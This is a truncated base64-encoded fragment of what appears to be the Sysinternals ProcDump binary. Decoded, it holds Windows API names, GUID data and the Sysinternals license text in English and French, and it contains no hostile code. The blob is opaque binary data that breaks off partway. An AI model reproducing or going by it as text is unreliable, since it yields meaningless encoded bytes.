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BhcmUgYW4gYWdyZWVtZW50IGJldHdlZW4gU3lzaW50ZXJuYWxzIChhIHdob2xseSBvd25lZCBzdWJzaWRpYXJ5IG9mIE1pY3Jvc29mdCBDb3Jwb3JhdGlvbikgYW5kIHlvdS4gIFBsZWFzZSByZWFkIHRoZW0uICBUaGV5IGFwcGx5IHRvIHRoZSBzb2Z0d2FyZSB5b3UgYXJlIGRvd25sb2FkaW5nIGZyb20gU3lzdGludGVybmFscy5jb20sIHdoaWNoIGluY2x1ZGVzIHRoZSBtZWRpYSBvbiB3aGljaCB5b3UgcmVjZWl2ZWQgaXQsIGlmIGFueS4gIFRoZSB0ZXJtcyBhbHNvIGFwcGx5IHRvIGFueSBTeXNpbnRlcm5hbHNccGFyAAAAXHBhcmRcZmktMzYzXGxpNzIwXHNiMTIwXHNhMTIwXHR4NzIwXCdiN1x0YWIgdXBkYXRlcyxccGFyAAAAXHBhcmRcZmktMzYzXGxpNzIwXHNiMTIwXHNhMTIwXCdiN1x0YWIgc3VwcGxlbWVudHMsXHBhcgBcJ2I3XHRhYiBJbnRlcm5ldC1iYXNlZCBzZXJ2aWNlcywgYW5kIFxwYXIAAFwnYjdcdGFiIHN1cHBvcnQgc2VydmljZXNccGFyAAAAXHBhcmRcc2IxMjBcc2ExMjAgZm9yIHRoaXMgc29mdHdhcmUsIHVubGVzcyBvdGhlciB0ZXJtcyBhY2NvbXBhbnkgdGhvc2UgaXRlbXMuICBJZiBzbywgdGhvc2UgdGVybXMgYXBwbHkuXHBhcgAAAFxiIEJZIFVTSU5HIFRIRSBTT0ZUV0FSRSwgWU9VIEFDQ0VQVCBUSEVTRSBURVJNUy4gIElGIFlPVSBETyBOT1QgQUNDRVBUIFRIRU0sIERPIE5PVCBVU0UgVEhFIFNPRlRXQVJFLlxwYXIAAAAAAABccGFyZFxicmRydFxicmRyc1xicmRydzEwXGJyc3AyMCBcc2IxMjBcc2ExMjAgSWYgeW91IGNvbXBseSB3aXRoIHRoZXNlIGxpY2Vuc2UgdGVybXMsIHlvdSBoYXZlIHRoZSByaWdodHMgYmVsb3cuXHBhcgAAAABccGFyZFxmaS0zNTdcbGkzNTdcc2IxMjBcc2ExMjBcdHgzNjBcZnMyMCAxLlx0YWJcZnMxOSBJTlNUQUxMQVRJT04gQU5EIFVTRSBSSUdIVFMuICBcYjAgWW91IG1heSBpbnN0YWxsIGFuZCB1c2UgYW55IG51bWJlciBvZiBjb3BpZXMgb2YgdGhlIHNvZnR3YXJlIG9uIHlvdXIgZGV2aWNlcy5cYlxwYXIAAAAAAFxjYXBzXGZzMjAgMi5cdGFiXGZzMTkgU2NvcGUgb2YgTGljZW5zZVxjYXBzMCAuXGIwICAgVGhlIHNvZnR3YXJlIGlzIGxpY2Vuc2VkLCBub3Qgc29sZC4gVGhpcyBhZ3JlZW1lbnQgb25seSBnaXZlcyB5b3Ugc29tZSByaWdodHMgdG8gdXNlIHRoZSBzb2Z0d2FyZS4gIFN5c2ludGVybmFscyByZXNlcnZlcyBhbGwgb3RoZXIgcmlnaHRzLiAgVW5sZXNzIGFwcGxpY2FibGUgbGF3IGdpdmVzIHlvdSBtb3JlIHJpZ2h0cyBkZXNwaXRlIHRoaXMgbGltaXRhdGlvbiwgeW91IG1heSB1c2UgdGhlIHNvZnR3YXJlIG9ubHkgYXMgZXhwcmVzc2x5IHBlcm1pdHRlZCBpbiB0aGlzIGFncmVlbWVudC4gIEluIGRvaW5nIHNvLCB5b3UgbXVzdCBjb21wbHkgd2l0aCBhbnkgdGVjaG5pY2FsIGxpbWl0YXRpb25zIGluIHRoZSBzb2Z0d2FyZSB0aGF0IG9ubHkgYWxsb3cgeW91IHRvIHVzZSBpdCBpbiBjZXJ0YWluIHdheXMuICAgIFlvdSBtYXkgbm90XGJccGFyAFxwYXJkXGZpLTM2M1xsaTcyMFxzYjEyMFxzYTEyMFx0eDcyMFxiMFwnYjdcdGFiIHdvcmsgYXJvdW5kIGFueSB0ZWNobmljYWwgbGltaXRhdGlvbnMgaW4gdGhlIGJpbmFyeSB2ZXJzaW9ucyBvZiB0aGUgc29mdHdhcmU7XHBhcgAAAAAAAABccGFyZFxmaS0zNjNcbGk3MjBcc2IxMjBcc2ExMjBcJ2I3XHRhYiByZXZlcnNlIGVuZ2luZWVyLCBkZWNvbXBpbGUgb3IgZGlzYXNzZW1ibGUgdGhlIGJpbmFyeSB2ZXJzaW9ucyBvZiB0aGUgc29mdHdhcmUsIGV4Y2VwdCBhbmQgb25seSB0byB0aGUgZXh0ZW50IHRoYXQgYXBwbGljYWJsZSBsYXcgZXhwcmVzc2x5IHBlcm1pdHMsIGRlc3BpdGUgdGhpcyBsaW1pdGF0aW9uO1xwYXIAAAAAAAAAAFwnYjdcdGFiIG1ha2UgbW9yZSBjb3BpZXMgb2YgdGhlIHNvZnR3YXJlIHRoYW4gc3BlY2lmaWVkIGluIHRoaXMgYWdyZWVtZW50IG9yIGFsbG93ZWQgYnkgYXBwbGljYWJsZSBsYXcsIGRlc3BpdGUgdGhpcyBsaW1pdGF0aW9uO1xwYXIAAABcJ2I3XHRhYiBwdWJsaXNoIHRoZSBzb2Z0d2FyZSBmb3Igb3RoZXJzIHRvIGNvcHk7XHBhcgAAAFwnYjdcdGFiIHJlbnQsIGxlYXNlIG9yIGxlbmQgdGhlIHNvZnR3YXJlO1xwYXIAAFwnYjdcdGFiIHRyYW5zZmVyIHRoZSBzb2Z0d2FyZSBvciB0aGlzIGFncmVlbWVudCB0byBhbnkgdGhpcmQgcGFydHk7IG9yXHBhcgAAAAAAXCdiN1x0YWIgdXNlIHRoZSBzb2Z0d2FyZSBmb3IgY29tbWVyY2lhbCBzb2Z0d2FyZSBob3N0aW5nIHNlcnZpY2VzLlxwYXIAXHBhcmRcZmktMzU3XGxpMzU3XHNiMTIwXHNhMTIwXHR4MzYwXGJcZnMyMCAzLlx0YWIgU0VOU0lUSVZFIElORk9STUFUSU9OLiBcYjAgIFBsZWFzZSBiZSBhd2FyZSB0aGF0LCBzaW1pbGFyIHRvIG90aGVyIGRlYnVnIHRvb2xzIHRoYXQgY2FwdHVyZSBcbGRibHF1b3RlIHByb2Nlc3Mgc3RhdGVccmRibHF1b3RlICBpbmZvcm1hdGlvbiwgZmlsZXMgc2F2ZWQgYnkgU3lzaW50ZXJuYWxzIHRvb2xzIG1heSBpbmNsdWRlIHBlcnNvbmFsbHkgaWRlbnRpZmlhYmxlIG9yIG90aGVyIHNlbnNpdGl2ZSBpbmZvcm1hdGlvbiAoc3VjaCBhcyB1c2VybmFtZXMsIHBhc3N3b3JkcywgcGF0aHMgdG8gZmlsZXMgYWNjZXNzZWQsIGFuZCBwYXRocyB0byByZWdpc3RyeSBhY2Nlc3NlZCkuIEJ5IHVzaW5nIHRoaXMgc29mdHdhcmUsIHlvdSBhY2tub3dsZWRnZSB0aGF0IHlvdSBhcmUgYXdhcmUgb2YgdGhpcyBhbmQgdGFrZSBzb2xlIHJlc3BvbnNpYmlsaXR5IGZvciBhbnkgcGVyc29uYWxseSBpZGVudGlmaWFibGUgb3Igb3RoZXIgc2Vuc2l0aXZlIGluZm9ybWF0aW9uIHByb3ZpZGVkIHRvIE1pY3Jvc29mdCBvciBhbnkgb3RoZXIgcGFydHkgdGhyb3VnaCB5b3VyIHVzZSBvZiB0aGUgc29mdHdhcmUuXGJccGFyAAAANS4gXHRhYlxmczE5IERPQ1VNRU5UQVRJT04uXGIwICAgQW55IHBlcnNvbiB0aGF0IGhhcyB2YWxpZCBhY2Nlc3MgdG8geW91ciBjb21wdXRlciBvciBpbnRlcm5hbCBuZXR3b3JrIG1heSBjb3B5IGFuZCB1c2UgdGhlIGRvY3VtZW50YXRpb24gZm9yIHlvdXIgaW50ZXJuYWwsIHJlZmVyZW5jZSBwdXJwb3Nlcy5cYlxwYXIAAFxjYXBzXGZzMjAgNi5cdGFiXGZzMTkgRXhwb3J0IFJlc3RyaWN0aW9uc1xjYXBzMCAuXGIwICAgVGhlIHNvZnR3YXJlIGlzIHN1YmplY3QgdG8gVW5pdGVkIFN0YXRlcyBleHBvcnQgbGF3cyBhbmQgcmVndWxhdGlvbnMuICBZb3UgbXVzdCBjb21wbHkgd2l0aCBhbGwgZG9tZXN0aWMgYW5kIGludGVybmF0aW9uYWwgZXhwb3J0IGxhd3MgYW5kIHJlZ3VsYXRpb25zIHRoYXQgYXBwbHkgdG8gdGhlIHNvZnR3YXJlLiAgVGhlc2UgbGF3cyBpbmNsdWRlIHJlc3RyaWN0aW9ucyBvbiBkZXN0aW5hdGlvbnMsIGVuZCB1c2VycyBhbmQgZW5kIHVzZS4gIEZvciBhZGRpdGlvbmFsIGluZm9ybWF0aW9uLCBzZWUge1xjZjFcdWx7XGZpZWxke1wqXGZsZGluc3R7SFlQRVJMSU5LIHd3dy5taWNyb3NvZnQuY29tL2V4cG9ydGluZyB9fXtcZmxkcnNsdHt3d3cubWljcm9zb2Z0LmNvbS9leHBvcnRpbmd9fX19XGNmMVx1bFxmMFxmczE5ICA8e3tcZmllbGR7XCpcZmxkaW5zdHtIWVBFUkxJTksgImh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9leHBvcnRpbmcifX17XGZsZHJzbHR7aHR0cDovL3d3dy5taWNyb3NvZnQuY29tL2V4cG9ydGluZ319fX1cZjBcZnMxOSA+XGNmMFx1bG5vbmUgLlxiXHBhcgAAAABcY2Fwc1xmczIwIDcuXHRhYlxmczE5IFNVUFBPUlQgU0VSVklDRVMuXGNhcHMwICBcYjAgQmVjYXVzZSB0aGlzIHNvZnR3YXJlIGlzICJhcyBpcywgIiB3ZSBtYXkgbm90IHByb3ZpZGUgc3VwcG9ydCBzZXJ2aWNlcyBmb3IgaXQuXGJccGFyAAAAAAAAAABcY2Fwc1xmczIwIDguXHRhYlxmczE5IEVudGlyZSBBZ3JlZW1lbnQuXGIwXGNhcHMwICAgVGhpcyBhZ3JlZW1lbnQsIGFuZCB0aGUgdGVybXMgZm9yIHN1cHBsZW1lbnRzLCB1cGRhdGVzLCBJbnRlcm5ldC1iYXNlZCBzZXJ2aWNlcyBhbmQgc3VwcG9ydCBzZXJ2aWNlcyB0aGF0IHlvdSB1c2UsIGFyZSB0aGUgZW50aXJlIGFncmVlbWVudCBmb3IgdGhlIHNvZnR3YXJlIGFuZCBzdXBwb3J0IHNlcnZpY2VzLlxwYXIAAAAAAABccGFyZFxrZWVwblxmaS0zNjBcbGkzNjBcc2IxMjBcc2ExMjBcdHgzNjBcY2YyXGJcY2Fwc1xmczIwIDkuXHRhYlxmczE5IEFwcGxpY2FibGUgTGF3XGNhcHMwIC5ccGFyAAAAAAAAAFxwYXJkXGZpLTM2M1xsaTcyMFxzYjEyMFxzYTEyMFx0eDcyMFxjZjBcZnMyMCBhLlx0YWJcZnMxOSBVbml0ZWQgU3RhdGVzLlxiMCAgIElmIHlvdSBhY3F1aXJlZCB0aGUgc29mdHdhcmUgaW4gdGhlIFVuaXRlZCBTdGF0ZXMsIFdhc2hpbmd0b24gc3RhdGUgbGF3IGdvdmVybnMgdGhlIGludGVycHJldGF0aW9uIG9mIHRoaXMgYWdyZWVtZW50IGFuZCBhcHBsaWVzIHRvIGNsYWltcyBmb3IgYnJlYWNoIG9mIGl0LCByZWdhcmRsZXNzIG9mIGNvbmZsaWN0IG9mIGxhd3MgcHJpbmNpcGxlcy4gIFRoZSBsYXdzIG9mIHRoZSBzdGF0ZSB3aGVyZSB5b3UgbGl2ZSBnb3Zlcm4gYWxsIG90aGVyIGNsYWltcywgaW5jbHVkaW5nIGNsYWltcyB1bmRlciBzdGF0ZSBjb25zdW1lciBwcm90ZWN0aW9uIGxhd3MsIHVuZmFpciBjb21wZXRpdGlvbiBsYXdzLCBhbmQgaW4gdG9ydC5cYlxwYXIAXHBhcmRcZmktMzYzXGxpNzIwXHNiMTIwXHNhMTIwXGZzMjAgYi5cdGFiXGZzMTkgT3V0c2lkZSB0aGUgVW5pdGVkIFN0YXRlcy5cYjAgICBJZiB5b3UgYWNxdWlyZWQgdGhlIHNvZnR3YXJlIGluIGFueSBvdGhlciBjb3VudHJ5LCB0aGUgbGF3cyBvZiB0aGF0IGNvdW50cnkgYXBwbHkuXGJccGFyAAAAAAAAAABccGFyZFxmaS0zNTdcbGkzNTdcc2IxMjBcc2ExMjBcdHgzNjBcY2Fwc1xmczIwIDEwLlx0YWJcZnMxOSBMZWdhbCBFZmZlY3QuXGIwXGNhcHMwICAgVGhpcyBhZ3JlZW1lbnQgZGVzY3JpYmVzIGNlcnRhaW4gbGVnYWwgcmlnaHRzLiAgWW91IG1heSBoYXZlIG90aGVyIHJpZ2h0cyB1bmRlciB0aGUgbGF3cyBvZiB5b3VyIGNvdW50cnkuICBZb3UgbWF5IGFsc28gaGF2ZSByaWdodHMgd2l0aCByZXNwZWN0IHRvIHRoZSBwYXJ0eSBmcm9tIHdob20geW91IGFjcXVpcmVkIHRoZSBzb2Z0d2FyZS4gIFRoaXMgYWdyZWVtZW50IGRvZXMgbm90IGNoYW5nZSB5b3VyIHJpZ2h0cyB1bmRlciB0aGUgbGF3cyBvZiB5b3VyIGNvdW50cnkgaWYgdGhlIGxhd3Mgb2YgeW91ciBjb3VudHJ5IGRvIG5vdCBwZXJtaXQgaXQgdG8gZG8gc28uXGJcY2Fwc1xwYXIAAAAAXGZzMjAgMTEuXHRhYlxmczE5IERpc2NsYWltZXIgb2YgV2FycmFudHkuXGNhcHMwICAgIFxjYXBzIFRoZSBzb2Z0d2FyZSBpcyBsaWNlbnNlZCAiYXMgLSBpcy4iICBZb3UgYmVhciB0aGUgcmlzayBvZiB1c2luZyBpdC4gIFNZU0lOVEVSTkFMUyBnaXZlcyBubyBleHByZXNzIHdhcnJhbnRpZXMsIGd1YXJhbnRlZXMgb3IgY29uZGl0aW9ucy4gIFlvdSBtYXkgaGF2ZSBhZGRpdGlvbmFsIGNvbnN1bWVyIHJpZ2h0cyB1bmRlciB5b3VyIGxvY2FsIGxhd3Mgd2hpY2ggdGhpcyBhZ3JlZW1lbnQgY2Fubm90IGNoYW5nZS4gIFRvIHRoZSBleHRlbnQgcGVybWl0dGVkIHVuZGVyIHlvdXIgbG9jYWwgbGF3cywgU1lTSU5URVJOQUxTIGV4Y2x1ZGVzIHRoZSBpbXBsaWVkIHdhcnJhbnRpZXMgb2YgbWVyY2hhbnRhYmlsaXR5LCBmaXRuZXNzIGZvciBhIHBhcnRpY3VsYXIgcHVycG9zZSBhbmQgbm9uLWluZnJpbmdlbWVudC5ccGFyAAAAAAAAAFxwYXJkXGZpLTM2MFxsaTM2MFxzYjEyMFxzYTEyMFx0eDM2MFxmczIwIDEyLlx0YWJcZnMxOSBMaW1pdGF0aW9uIG9uIGFuZCBFeGNsdXNpb24gb2YgUmVtZWRpZXMgYW5kIERhbWFnZXMuICBZb3UgY2FuIHJlY292ZXIgZnJvbSBTWVNJTlRFUk5BTFMgYW5kIGl0cyBzdXBwbGllcnMgb25seSBkaXJlY3QgZGFtYWdlcyB1cCB0byBVLlMuICQ1LjAwLiAgWW91IGNhbm5vdCByZWNvdmVyIGFueSBvdGhlciBkYW1hZ2VzLCBpbmNsdWRpbmcgY29uc2VxdWVudGlhbCwgbG9zdCBwcm9maXRzLCBzcGVjaWFsLCBpbmRpcmVjdCBvciBpbmNpZGVudGFsIGRhbWFnZXMuXHBhcgAAAAAAAABccGFyZFxsaTM1N1xzYjEyMFxzYTEyMFxiMFxjYXBzMCBUaGlzIGxpbWl0YXRpb24gYXBwbGllcyB0b1xwYXIAXHBhcmRcZmktMzYzXGxpNzIwXHNiMTIwXHNhMTIwXHR4NzIwXCdiN1x0YWIgYW55dGhpbmcgcmVsYXRlZCB0byB0aGUgc29mdHdhcmUsIHNlcnZpY2VzLCBjb250ZW50IChpbmNsdWRpbmcgY29kZSkgb24gdGhpcmQgcGFydHkgSW50ZXJuZXQgc2l0ZXMsIG9yIHRoaXJkIHBhcnR5IHByb2dyYW1zOyBhbmRccGFyAAAAAAAAAFxwYXJkXGZpLTM2M1xsaTcyMFxzYjEyMFxzYTEyMFwnYjdcdGFiIGNsYWltcyBmb3IgYnJlYWNoIG9mIGNvbnRyYWN0LCBicmVhY2ggb2Ygd2FycmFudHksIGd1YXJhbnRlZSBvciBjb25kaXRpb24sIHN0cmljdCBsaWFiaWxpdHksIG5lZ2xpZ2VuY2UsIG9yIG90aGVyIHRvcnQgdG8gdGhlIGV4dGVudCBwZXJtaXR0ZWQgYnkgYXBwbGljYWJsZSBsYXcuXHBhcgAAAABccGFyZFxsaTM2MFxzYjEyMFxzYTEyMCBJdCBhbHNvIGFwcGxpZXMgZXZlbiBpZiBTeXNpbnRlcm5hbHMga25ldyBvciBzaG91bGQgaGF2ZSBrbm93biBhYm91dCB0aGUgcG9zc2liaWxpdHkgb2YgdGhlIGRhbWFnZXMuICBUaGUgYWJvdmUgbGltaXRhdGlvbiBvciBleGNsdXNpb24gbWF5IG5vdCBhcHBseSB0byB5b3UgYmVjYXVzZSB5b3VyIGNvdW50cnkgbWF5IG5vdCBhbGxvdyB0aGUgZXhjbHVzaW9uIG9yIGxpbWl0YXRpb24gb2YgaW5jaWRlbnRhbCwgY29uc2VxdWVudGlhbCBvciBvdGhlciBkYW1hZ2VzLlxwYXIAAFxwYXJkXGIgUGxlYXNlIG5vdGU6IEFzIHRoaXMgc29mdHdhcmUgaXMgZGlzdHJpYnV0ZWQgaW4gUXVlYmVjLCBDYW5hZGEsIHNvbWUgb2YgdGhlIGNsYXVzZXMgaW4gdGhpcyBhZ3JlZW1lbnQgYXJlIHByb3ZpZGVkIGJlbG93IGluIEZyZW5jaC5ccGFyAFxwYXJkXHNiMjQwXGxhbmcxMDM2IFJlbWFycXVlIDogQ2UgbG9naWNpZWwgXCdlOXRhbnQgZGlzdHJpYnVcJ2U5IGF1IFF1XCdlOWJlYywgQ2FuYWRhLCBjZXJ0YWluZXMgZGVzIGNsYXVzZXMgZGFucyBjZSBjb250cmF0IHNvbnQgZm91cm5pZXMgY2ktZGVzc291cyBlbiBmcmFuXCdlN2Fpcy5ccGFyAAAAAAAAXHBhcmRcc2IxMjBcc2ExMjAgRVhPTlwnYzlSQVRJT04gREUgR0FSQU5USUUuXGIwICBMZSBsb2dpY2llbCB2aXNcJ2U5IHBhciB1bmUgbGljZW5jZSBlc3Qgb2ZmZXJ0IFwnYWIgdGVsIHF1ZWwgXCdiYi4gVG91dGUgdXRpbGlzYXRpb24gZGUgY2UgbG9naWNpZWwgZXN0IFwnZTAgdm90cmUgc2V1bGUgcmlzcXVlIGV0IHBcJ2U5cmlsLiBTeXNpbnRlcm5hbHMgbidhY2NvcmRlIGF1Y3VuZSBhdXRyZSBnYXJhbnRpZSBleHByZXNzZS4gVm91cyBwb3V2ZXogYlwnZTluXCdlOWZpY2llciBkZSBkcm9pdHMgYWRkaXRpb25uZWxzIGVuIHZlcnR1IGR1IGRyb2l0IGxvY2FsIHN1ciBsYSBwcm90ZWN0aW9uIGR1ZXMgY29uc29tbWF0ZXVycywgcXVlIGNlIGNvbnRyYXQgbmUgcGV1dCBtb2RpZmllci4gTGEgb3UgZWxsZXMgc29udCBwZXJtaXNlcyBwYXIgbGUgZHJvaXQgbG9jYWxlLCBsZXMgZ2FyYW50aWVzIGltcGxpY2l0ZXMgZGUgcXVhbGl0XCdlOSBtYXJjaGFuZGUsIGQnYWRcJ2U5cXVhdGlvbiBcJ2UwIHVuIHVzYWdlIHBhcnRpY3VsaWVyIGV0IGQnYWJzZW5jZSBkZSBjb250cmVmYVwnZTdvbiBzb250IGV4Y2x1ZXMuXHBhcgAAAABccGFyZFxrZWVwblxzYjEyMFxzYTEyMFxiIExJTUlUQVRJT04gREVTIERPTU1BR0VTLUlOVFwnYzlSXCdjYVRTIEVUIEVYQ0xVU0lPTiBERSBSRVNQT05TQUJJTElUXCdjOSBQT1VSIExFUyBET01NQUdFUy5cYjAgICBWb3VzIHBvdXZleiBvYnRlbmlyIGRlIFN5c2ludGVybmFscyBldCBkZSBzZXMgZm91cm5pc3NldXJzIHVuZSBpbmRlbW5pc2F0aW9uIGVuIGNhcyBkZSBkb21tYWdlcyBkaXJlY3RzIHVuaXF1ZW1lbnQgXCdlMCBoYXV0ZXVyIGRlIDUsMDAgJCBVUy4gVm91cyBuZSBwb3V2ZXogcHJcJ2U5dGVuZHJlIFwnZTAgYXVjdW5lIGluZGVtbmlzYXRpb24gcG91ciBsZXMgYXV0cmVzIGRvbW1hZ2VzLCB5IGNvbXByaXMgbGVzIGRvbW1hZ2VzIHNwXCdlOWNpYXV4LCBpbmRpcmVjdHMgb3UgYWNjZXNzb2lyZXMgZXQgcGVydGVzIGRlIGJcJ2U5blwnZTlmaWNlcy5ccGFyAFxsYW5nMTAzMyBDZXR0ZSBsaW1pdGF0aW9uIGNvbmNlcm5lIDpccGFyAAAAAAAAAFxwYXJkXGtlZXBuXGZpLTM2MFxsaTcyMFxzYjEyMFxzYTEyMFx0eDcyMFxsYW5nMTAzNlwnYjdcdGFiIHRvdXQgIGNlIHF1aSBlc3QgcmVsaVwnZTkgYXUgbG9naWNpZWwsIGF1eCBzZXJ2aWNlcyBvdSBhdSBjb250ZW51ICh5IGNvbXByaXMgbGUgY29kZSkgZmlndXJhbnQgc3VyIGRlcyBzaXRlcyBJbnRlcm5ldCB0aWVycyBvdSBkYW5zIGRlcyBwcm9ncmFtbWVzIHRpZXJzIDsgZXRccGFyAAAAXHBhcmRcZmktMzYzXGxpNzIwXHNiMTIwXHNhMTIwXHR4NzIwXCdiN1x0YWIgbGVzIHJcJ2U5Y2xhbWF0aW9ucyBhdSB0aXRyZSBkZSB2aW9sYXRpb24gZGUgY29udHJhdCBvdSBkZSBnYXJhbnRpZSwgb3UgYXUgdGl0cmUgZGUgcmVzcG9uc2FiaWxpdFwnZTkgc3RyaWN0ZSwgZGUgblwnZTlnbGlnZW5jZSBvdSBkJ3VuZSBhdXRyZSBmYXV0ZSBkYW5zIGxhIGxpbWl0ZSBhdXRvcmlzXCdlOWUgcGFyIGxhIGxvaSBlbiB2aWd1ZXVyLlxwYXIAAAAAAAAAAFxwYXJkXHNiMTIwXHNhMTIwIEVsbGUgcydhcHBsaXF1ZSBcJ2U5Z2FsZW1lbnQsIG1cJ2VhbWUgc2kgU3lzaW50ZXJuYWxzIGNvbm5haXNzYWl0IG91IGRldnJhaXQgY29ubmFcJ2VldHJlIGwnXCdlOXZlbnR1YWxpdFwnZTkgZCd1biB0ZWwgZG9tbWFnZS4gIFNpIHZvdHJlIHBheXMgbidhdXRvcmlzZSBwYXMgbCdleGNsdXNpb24gb3UgbGEgbGltaXRhdGlvbiBkZSByZXNwb25zYWJpbGl0XCdlOSBwb3VyIGxlcyBkb21tYWdlcyBpbmRpcmVjdHMsIGFjY2Vzc29pcmVzIG91IGRlIHF1ZWxxdWUgbmF0dXJlIHF1ZSBjZSBzb2l0L